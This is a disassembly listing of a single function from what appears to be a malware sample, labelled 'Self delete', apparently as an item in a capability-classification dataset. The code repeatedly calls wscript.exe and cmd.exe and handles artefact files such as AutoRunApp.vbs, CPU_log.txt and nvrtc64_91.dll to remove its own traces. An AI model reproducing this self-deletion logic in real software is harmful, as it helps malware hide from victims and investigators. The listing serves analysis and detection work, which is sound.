Function at 0x423bf2
Capabilities:
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 8
call fcn.00461db2
add esp, 4
mov dword [ebp - 0x14], eax
mov edi, eax
mov esi, 0x4f1c44
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x423cc2
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x4635e0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x423ceb
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x423d11
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x423d25
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x423d98
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x4623a0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4f561f]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040e0a1
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x423de5
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x463620
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x423e0f
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push str.80000
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x425759
mov dword [0x529098], 1
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f624d
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x423ede
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x423ef1
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x423f14
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f627d
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x423f7a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x423f8d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x423fb0
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_a.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424016
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x424029
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42404c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x24], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4240a1
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4240b4
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4240d7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x24], eax
push 0x4e9a11
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42412c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42413f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424162
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4241a9
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4241f0
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424237
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42427e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4242c5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42430c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424353
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42439a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4243e1
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424428
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42446f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4244b6
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4244fd
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424544
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42458b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4245d2
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424619
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424660
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4246a7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4246ee
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424735
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42477c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4247c3
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42480a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424851
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424898
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4248df
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42494b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424972
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4249de
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424a05
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424a71
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424a98
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424b04
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424b2b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424b97
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424bbe
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424c2a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424c51
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424cbd
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424ce4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529040
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424d7b
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x424d8e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424db1
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424e17
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x424e2a
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424e4d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424eb3
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x424ec6
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424ee9
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529048
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x424f80
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x424f93
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x424fb6
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42501c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42502f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
